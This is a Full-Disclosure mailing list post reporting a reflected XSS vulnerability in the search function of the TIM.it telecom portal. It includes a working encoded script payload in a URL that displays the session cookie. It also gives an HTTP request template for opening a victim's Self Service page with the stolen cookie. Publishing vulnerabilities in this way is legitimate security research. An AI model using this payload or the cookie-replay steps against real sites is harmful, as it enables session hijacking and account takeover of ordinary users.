[Full-disclosure] Script Injection / XSS vulnerability in TIM web portal

["Gianni Amato" <guelfoweb@xxxxxxxxx>]

TIM (Telecom Italia Mobile) is a big italian phone company.
The web portal TIM.it is vulnerable to XSS attacks in search function
(http://www.tim.it/ricerca/d/areaconsumer/ricercasito.do).
An attacker can steal cookie session and access with victim credential,
inject html or arbitary script code.

Cookie view/steal:

http://www.tim.it/ricerca/d/areaconsumer/ricercasito.do?query=%3Cscript%20%0a%0d%3Ealert(document.cookie)%3B%3C/script%3E&area=119%20Self%20Service<http://www.tim.it/ricerca/d/areaconsumer/ricercasito.do?query=%3Cscript%20%0a%0d%3Ealert%28document.cookie%29%3B%3C/script%3E&area=119%20Self%20Service>

Access to Self Service personal page:

Get Request to: https://www.tim.it/119/cruscotto/descrizioneservizi/wp.do

Host: www.tim.it
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv: 1.8.1.4)
Gecko/20061201 Firefox/2.0.0.4 (Ubuntu-feisty)
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9
,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it-it,it;q= 0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: insert cookie victim


--
Gianni Amato
http://www.gianniamato.it/

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